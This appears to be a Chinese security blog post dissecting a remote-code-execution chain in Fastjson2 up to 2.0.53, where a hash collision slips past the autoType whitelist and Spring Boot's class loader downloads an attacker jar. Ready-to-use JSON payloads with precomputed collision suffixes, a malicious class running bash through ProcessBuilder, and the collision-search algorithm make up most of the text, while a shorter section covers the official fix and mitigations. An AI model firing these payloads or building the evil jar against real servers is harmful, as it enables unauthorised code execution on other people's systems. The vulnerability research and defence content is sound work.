攻击者往 JSON 里塞一个精心拼出来的类名,这个类名的哈希值恰好骗过 Fastjson2 的白名单检查,然后 Spring Boot 的类加载器二话不说去远程下载了这个"类"并执行------整个过程只需要默认配置,零额外条件。
0x00 背景与影响面
影响版本:Fastjson2 ≤ 2.0.53(Spring Boot fat-jar 部署 + JDK8 环境最舒服)
利用前提:
- 后端用了 Fastjson2 解析用户可控的 JSON
- 项目是
java -jar启动的标准 Spring Boot 包 - 没有任何特殊配置(不开 SafeMode、不配 autoTypeAccept、不自定义过滤器)
最终效果:远程代码执行(RCE),攻击者能在目标服务器上跑任意命令。
0x01 先搞懂:为什么这玩意能成?
门禁只看工号,不查身份证
Fastjson2 遇到 {"@type":"某个类"} 时会尝试加载这个类。为了防止随便加载危险类,它有一道检查:把类名做 FNV-1a 64 位哈希,看结果是不是在白名单里。
问题在于------这个检查是"前缀匹配"的。
它怎么做的?每读一个字符就累加一次哈希,每累加一次就问一遍"这个值在白名单里吗?"一旦发现哈希对上了,立刻放行,而且不验证这个类名到底是不是白名单里那个类的真名。
打个比方:保安记住了"张三"的工号是 1234,有人报工号 1234 就放进去,但从来不看你的脸。
白名单里硬编码了一个魔法数字 -6293031534589903644,对应的是 com.alibaba.fastjson.util.AntiCollisionHashMap 这个类名的哈希值。Fastjson2 为了兼容老版本内部用了这个类,顺手把它写进了白名单------而且只写了这一个。
那攻击者怎么让哈希对上?
哈希碰撞。
FNV-1a 算法有个特性:输入稍微变一丢丢,输出就天差地别(雪崩效应)。反过来利用这个特性,攻击者可以用数学方法反推出一个字符串后缀,拼到自己的恶意类名后面,让整个字符串在计算到某一步时哈希值恰好等于那个魔法数字。
具体算法是 meet-in-the-middle(中间相遇):
- 从可控前缀出发,正向枚举 5 个字符的所有组合(64^5 ≈ 10 亿种),记录每一步的哈希值
- 从目标魔法数字出发,反向倒推 5 个字符(用质数的模逆元撤销乘法),同样记录
- 两边排序后双指针归并,找到交集就是碰撞成功
实测耗时:约 2-8 分钟(取决于前缀长度和机器性能)。
0x02 完整攻击链路拆解
整个漏洞由 5 个环节 串联,缺一个都打不通:
环节 1:硬编码魔法数字(根源)
java
// ObjectReaderProvider 构造函数里
// 默认配置下,acceptHashCodes 只有 1 个元素
long[] acceptHashCodes = {-6293031534589903644L};
这个值就是 AntiCollisionHashMap 全限定名的 FNV-1a 哈希。用户没配任何 AUTO_TYPE_ACCEPT_LIST 时,白名单就只有它一个。
环节 2:前缀匹配 + 无文本校验(绕过关键)
java
// checkAutoType 里的逻辑(简化)
long hash = MAGIC;
for (int i = 0; i < typeName.length(); i++) {
hash ^= (long) typeName.charAt(i);
hash *= PRIME;
// 每步都查白名单
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
return loadClass(typeName); // 直接放行!
}
}
两个致命问题:
- 每读一个字符就查一次,不是读完整个类名才查
- 哈希命中后直接
loadClass,不检查typeName的文本是不是真的等于AntiCollisionHashMap
修复版(PR#7695)补了一道 acceptNameSet.contains(prefix) 文本校验,碰撞出来的 jar:http://... 前缀不在真实类名集合里,直接被拒。
环节 3:必须走 ObjectReaderImplObject 这条路
这是最坑的地方------同样的 @type,放在不同位置的 JSON 里,效果完全不同。
| Payload 形式 | 走哪条路径 | 结果 |
|---|---|---|
{"@type":"..."} 裸对象 |
read(Map) |
@type 当普通字段,不触发类加载 |
[{"@type":"..."}] 数组 |
ObjectReaderImplObject.readObject |
触发 checkAutoType → RCE |
parseObject(body, Object.class) |
ObjectReaderImplObject |
触发 → RCE |
Spring @RequestBody DTO 里 Object 字段 |
FieldReaderObject → ObjectReaderImplObject |
触发 → RCE |
核心规律 :只要反序列化目标类型是 Object(或字段类型是 Object),就走 ObjectReaderImplObject,而这家伙在默认配置下无论如何都会调 checkAutoType。
read(Map) 路径的源码里是 if (SupportAutoType) continue;,默认关了就直接跳过,把 @type 当普通 key-value 塞进 Map。
数组路径 则不同------数组元素没有预定类型,只能用 ObjectReaderImplObject 来读,这家伙第 110 行直接调 getObjectReaderAutoType(typeName, null),一路走到 checkAutoType。
关于网传
{}单对象 PoC 的说明 :网上有些文章说{"@type":"..."}单对象也能打。实测结论是------能打,但取决于 API 。用JSON.parse()裸解析{}不行(走read(Map)),但用parseObject(body, Object.class)解析{}就行(走ObjectReaderImplObject)。关键不是版本差异,是入口选择。
环节 4:Spring Boot 的类加载器链
Fastjson2 哈希校验通过后调 TypeUtils.loadClass(typeName),最终用的是线程上下文类加载器。在 Spring Boot 里这条链是:
TomcatEmbeddedWebappClassLoader (先在自己地盘 WEB-INF 找)
↓ 找不到
LaunchedURLClassLoader (Spring Boot 的 fat-jar 专用加载器,继承自 URLClassLoader)
↓
URLClassLoader.findClass → ucp.getResource(path)
↓
发现 path 是个 jar:http:// URL → 下载 jar → defineClass
关键点:TomcatEmbeddedWebappClassLoader 在 WEB-INF 里找不到 jar:http://... 这种东西,于是委托给 parent LaunchedURLClassLoader。后者继承 URLClassLoader,它的 findClass 方法会把类名里的 . 替换成 / 再加 .class,然后当资源路径去查找。
jar:http://xxx/dN7aDLK4cHe!/poc/Exception 替换后变成 jar:http://xxx/dN7aDLK4cHe!/poc/Exception.class------这恰好是一个合法的 JAR URL,URLClassPath 看到 :// 就当绝对 URL 处理,发起 HTTP 请求下载 jar 包,读取里面的 poc/Exception.class 字节码,交给 defineClass 加载。
整个过程 Fastjson2 框架代码本身没有主动去下载任何东西 ------它只是调了 loadClass,是 Java 类加载器自己"贴心"地把类名当 URL 去下载了。
环节 5:JDK 版本决定能不能一步到位
类名含不含 // |
JDK 8 | JDK 9+ |
|---|---|---|
jar:http://...(含 //) |
✅ defineClass 通过 | ❌ ClassFormatError |
jar:file:/tmp/...(单斜杠) |
✅ | ✅ |
JDK 8 的 classFileParser 只禁止类名里出现 [(以及 . ;),不管 // 连续斜杠。JDK 9 开始加了更严格的校验,连续 // 直接拒绝。
这就是为什么 JDK 8 上可以直接 jar:http:// 一步 RCE ,而 JDK 9+ 需要绕两步(先 SSRF 把 jar 缓存到文件描述符,再用 jar:file:/proc/self/fd/N 本地加载)。
0x03 三种利用方式
方式一:FILE 版(本地文件)
条件 :evil jar 已经在目标机器的某个路径上(比如通过文件上传功能投递到 /tmp)
Payload:
json
[{"@type":"jar:file:.tmp.evildFuzf6B8R0a!.poc.Exception","x":1}]
碰撞参数 :前缀 jar:file:.tmp.evil + 后缀 dFuzf6B8R0a,step 28 命中,耗时 262 秒。
适用 JDK :8 和 17 都行(路径里没有 //)。
方式二:HTTP 版(远程下载)
条件:目标能访问攻击者的 HTTP 服务器
Payload:
json
[{"@type":"jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception","x":1}]
拆解一下这个字符串:
jar:http:→ JAR 协议 + HTTP..→ 在 JSON 里用点号,Fastjson2 内部 replace 后变/,拼成http://2130706433→127.0.0.1的整数形式(避免点号被 replace 搞坏)dN7aDLK4cHe→ 碰撞算出来的后缀,让哈希命中!→ JAR entry 分隔符poc.Exception→ jar 包内的 entry 名
碰撞参数 :前缀 jar:http:..2130706433. + 后缀 dN7aDLK4cHe,step 32 命中,耗时 472 秒。
适用 JDK :仅 JDK 8(含 //)。
方式三:FD 版(文件描述符,不出网,JDK 8/9+ 通杀)
这是最骚的一种打法------完全不需要出网 ,利用 Linux 的 /proc/self/fd/N 文件描述符加载。
思路:
- 先用 multipart 慢速上传把一个 evil jar 投递到 Tomcat 的临时文件,Tomcat 会持有这个文件的 fd
- 然后发 JSON payload,枚举 fd 3 到 80,总有一个能命中
jar:file:/proc/self/fd/N!/entry/path单斜杠无//,JDK 8 和 JDK 9+ 都能过 defineClass 校验
Payload 模板:
json
[
{"@type":"jar:file:.proc.self.fd.3!.fd3.pPFJXAm_4db.poc.Exception","x":1},
{"@type":"jar:file:.proc.self.fd.4!.fd4.<碰撞后缀>.poc.Exception","x":1},
...
{"@type":"jar:file:.proc.self.fd.80!.fd80.<碰撞后缀>.poc.Exception","x":1}
]
关键技巧 :fd 号必须是纯数字(/proc/self/fd/3 才能被 Linux 正确解析),所以碰撞后缀放在 ! 后面的 entry 路径里,不影响 fd 解析。
碰撞参数:
- fd=3:前缀
jar:file:.proc.self.fd.3!.fd3.+ 后缀pPFJXAm_4db,step 40 命中 - fd=40:前缀
jar:file:.proc.self.fd.40!.fd40.+ 后缀I2gu665SUgb
准备工作:需要预先碰撞 fd 3-80 的 entry 后缀,每个约 2 分钟,全部约 2.5 小时。碰撞完之后 payload 模板固定,实战中只需 multipart 投递 + 枚举。
0x04 环境搭建
依赖(pom.xml)
xml
<dependencies>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.53</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version>
</dependency>
</dependencies>
漏洞触发代码(就一行)
java
@RestController
public class Ctrl {
@PostMapping("/api/data")
public Map<String, Object> data(@RequestBody String body) {
Map<String, Object> r = new HashMap<>();
try {
Object obj = JSON.parse(body); // ← 就这一行
r.put("ok", true);
r.put("class", obj.getClass().getName());
} catch (Throwable e) {
r.put("ok", false);
r.put("error", e.getClass().getName() + ":" + e.getMessage());
}
return r;
}
}
启动方式
bash
java -jar target/demo-1.jar
没有 application.properties,没有额外配置,Fastjson2 纯默认。
配置默认性自查表
| 维度 | 配置 | 是否默认 |
|---|---|---|
| Fastjson2 | 无任何设置(不开 SupportAutoType,不配 autoTypeAccept,不设 SafeMode) | ✅ |
| Spring Boot | spring-boot-starter-web(默认 Tomcat),无配置文件 | ✅ |
| 应用代码 | JSON.parse(body) 一行 |
✅ 最简 |
| Classpath | 只有 fj2(无 fj1),evil 父类用 JDK 自带 Exception | ✅ 干净 |
| 部署方式 | java -jar(Spring Boot fat-jar,LaunchedURLClassLoader) |
✅ 标准 |
| JDK | 8u492 | ✅ |
0x05 Evil Jar 怎么造
恶意 jar 包里的类需要满足几个条件:
java
package poc;
public class Exception extends java.lang.Exception {
static {
try {
// 类加载时自动执行
new ProcessBuilder("bash", "-c",
"echo RCE_OK > /tmp/rce_proof.txt").start();
} catch (Exception ignored) {}
}
}
关键点:
- 必须继承
java.lang.Exception(JDK 自带,无需额外依赖) - 类名以
Exception结尾 ------Fastjson2 默认配置下,如果@type加载失败会抛异常中断解析;但如果类名以Exception或Error结尾,它会静默忽略继续往下走。这在数组场景至关重要,没命中的 fd 元素不会打断后续元素的解析 this_class必须精确匹配加载路径 ------jar 包里Exception.class的this_class常量要写成jar:http://xxx/xxx!/poc/Exception,否则报NoClassDefFoundError: wrong name- 用
<clinit>(static 块)触发命令执行,类一加载就跑
0x06 碰撞器实现思路
核心算法 meet-in-the-middle 的伪代码:
forward_pass:
start_hash = FNV1a(prefix)
for combo in all_5char_combinations: # 64^5 ≈ 10亿
h = start_hash
for c in combo:
h ^= c; h *= PRIME
store(h, combo)
backward_pass:
target = -6293031534589903644
for combo in all_5char_combinations:
h = target
for c in reversed(combo):
h *= MOD_INVERSE_OF_PRIME # 模逆元撤销
h ^= c
store(h, combo)
merge:
sort both arrays
two-pointer intersection → 找到碰撞点 → 重建完整后缀
字符集用 64 个字符(大小写字母 + 数字 + 部分符号),避开 Fastjson2 在类名解析中会被转义的字符。
0x07 完整调用栈(HTTP 版,JDK 8)
POST /api/data
Body: [{"@type":"jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception","x":1}]
JSON.parse(body)
→ 首字符 '[' → 走数组路径
→ JSONReader.read(List)
→ 元素用 ObjectReaderImplObject.INSTANCE.readObject()
→ 读到 @type 字段
→ 默认配置 else 分支:
typeName = "jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception"
context.getObjectReaderAutoType(typeName, null)
→ ObjectReaderProvider.checkAutoType()
→ FNV-1a 逐步累加
→ step 32: hash = -6293031534589903644 ✅ 命中!
→ loadClass(typeName)
→ TypeUtils.loadClass()
→ TomcatEmbeddedWebappClassLoader.loadClass()
→ findClass() 在 WEB-INF 找不到 → null
→ loadFromParent() → Class.forName(name, false, LaunchedURLClassLoader)
→ LaunchedURLClassLoader.loadClass()
→ URLClassLoader.findClass()
→ path = name.replace('.','/') + ".class"
= "jar:http://2130706433/dN7aDLK4cHe!/poc/Exception.class"
→ ucp.getResource(path)
→ 解析 jar:http URL → HTTP 下载 → jar_cache*.tmp
→ defineClass(name, bytes) ← JDK8 不校验 //
→ 类加载成功
→ <clinit> 触发
→ ProcessBuilder("bash","-c","echo HTTP_RCE_OK > ...").start()
→ 💥 RCE
0x08 预计算的碰撞结果
| 利用方式 | 前缀 | 碰撞后缀 | 命中 step | 耗时 |
|---|---|---|---|---|
| FILE | jar:file:.tmp.evil |
dFuzf6B8R0a |
28 | 262s |
| HTTP | jar:http:..2130706433. |
dN7aDLK4cHe |
32 | 472s |
| FD=3 | jar:file:.proc.self.fd.3!.fd3. |
pPFJXAm_4db |
40 | 132s |
| FD=40 | jar:file:.proc.self.fd.40!.fd40. |
I2gu665SUgb |
--- | --- |
0x09 与 Fastjson 1.2.83 RCE 的区别
很多人第一眼看到这个漏洞,会觉得它和 Fastjson 1.2.83(CVE-2026-16723) 基本一样。
实际上,它们属于同一类利用链,但不是同一个漏洞。
相同点:后半段利用链几乎一致
两者最终都是:
攻击者控制 @type
↓
checkAutoType 放行
↓
loadClass(typeName)
↓
TomcatEmbeddedWebappClassLoader
↓
LaunchedURLClassLoader
↓
URLClassLoader.findClass()
↓
JarURLConnection
↓
下载远程 Jar
↓
defineClass
↓
RCE
也就是说,两者最终都依赖 Spring Boot fat-jar 的 LaunchedURLClassLoader(底层 URLClassLoader) 将攻击者构造的 jar: URL 当作类路径解析,从而下载并加载恶意类。
因此:
真正负责"远程下载并执行"的并不是 Fastjson,而是 Java 类加载器。Fastjson 的作用只是让攻击者能够控制
loadClass(typeName)的参数。
不同点:漏洞根因完全不同
Fastjson 1.2.83
漏洞核心在 AutoType 检查逻辑。
Fastjson1 在 ParserConfig.checkAutoType() 中,对攻击者可控的 typeName 校验存在缺陷,最终导致恶意 typeName 可以进入 loadClass(),完成后续利用。
因此:
1.x 的漏洞重点是 AutoType 校验机制本身。
Fastjson2 2.0.53
Fastjson2 的 AutoType 整体实现已经重构。
真正的问题出在:
ObjectReaderProvider.checkAutoType()
默认白名单只保存了:
acceptHashCodes
而不是:
真实类名
校验过程采用:
逐字符计算 FNV-1a Hash
↓
每一步都查询 acceptHashCodes
↓
Hash 命中立即 loadClass()
但是:
命中 Hash 后,没有再校验真实类名是否就是白名单里的那个类。
于是攻击者可以利用 FNV-1a Hash 碰撞:
jar:http://......
+
碰撞字符串
↓
Hash ==
AntiCollisionHashMap 的 Hash
↓
骗过 checkAutoType()
↓
loadClass()
官方 PR #7695 修复的重点,也是增加:
java
acceptNameSet.contains(prefix)
即:
Hash 命中之后,再校验真实类名。
因此:
Fastjson2 的漏洞本质不是 AutoType 本身,而是 Hash 白名单校验存在碰撞绕过。
一句话总结
两者可以理解为:
| Fastjson 1.2.83 | Fastjson2 2.0.53 |
|---|---|
| AutoType 校验存在缺陷 | Hash 白名单校验存在缺陷 |
最终进入 loadClass() |
最终进入 loadClass() |
利用 LaunchedURLClassLoader 下载恶意 Jar |
利用 LaunchedURLClassLoader 下载恶意 Jar |
| 漏洞根因不同 | 漏洞根因不同 |
| 后半段利用链几乎完全一致 | 后半段利用链几乎完全一致 |
0x10 漏洞本质与修复
五层信任链全部失效
| 缺陷层级 | 问题 |
|---|---|
| Fastjson2 框架 | 白名单用哈希做前缀匹配 + 命中后不校验原始文本(PR#7695 修复) |
| Spring Boot | LaunchedURLClassLoader 继承 URLClassLoader,findClass 能解析 jar: URL 并远程下载 |
| JDK 8 | defineClass 不校验 //,jar:http:// 直接加载 |
| JAR URL 协议 | 语义本身就支持嵌套远程加载(jar:http://...!/entry) |
| JSON 协议 | @type 机制天然提供了"让服务端加载任意类"的入口 |
官方修复(PR#7695)做了三件事
-
加文本校验 :哈希命中后,取出已扫描的前缀子串,必须在真实白名单类名集合
acceptNameSet里。jar:http://...不在集合里,直接拒 -
拒绝特殊字符:
java
if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) {
throw new JSONException("autoType is not support." + typeName);
}
直接把 jar: http: file: ! 这些 URL 特征字符拦在门口。
- 拒绝危险基类:
java
if (ClassLoader.class.isAssignableFrom(clazz) || isSQLDataSource(clazz)) {
throw new JSONException("autoType is not support." + typeName);
}
临时缓解方案
- 升级 Fastjson2 到包含 PR#7695 的版本(>= 2.0.54)
- 开启 SafeMode :
JSONFactory.getDefaultObjectReaderProvider().setSafeMode(true)彻底禁用 autoType - WAF 规则 :拦截请求体中
@type包含jar:http:file:!的 JSON - 网络隔离:阻断服务器主动外连(同时防御 HTTP 版和 FD 版的 SSRF 投递阶段)
- JDK 9+ 的
//校验 算是一道天然防线,但不能单独依赖(FD 版可以绕过)
0x0A 写在最后
这个漏洞的精妙之处在于------Fastjson 1.2.83 与 Fastjson2 2.0.53 虽然根因不同,但都体现了同一种利用思想:前半段通过不同方式绕过 AutoType 安全检查,后半段利用 Spring Boot LaunchedURLClassLoader(底层 URLClassLoader)解析 jar: URL 完成远程类加载。因此,两者真正不同的是"如何进入 loadClass()",而不是"进入 loadClass() 之后发生了什么"。。
Fastjson2 的哈希前缀匹配缺陷提供了"进门"的机会,Spring Boot 的类加载器链提供了"下载"的能力,JDK 8 的宽松校验提供了"执行"的可能,而 JSON 数组的触发方式提供了"稳定利用"的入口。
单独看每一环都算不上什么惊天大洞,但串起来就是一条完整的 RCE 链。这就是安全研究的乐趣所在------把看似无害的小裂缝,连成一道击穿系统的光。
⚠️ 免责声明:本文所述内容仅用于安全研究与防御目的。未经授权对第三方系统进行测试属于违法行为,后果自负。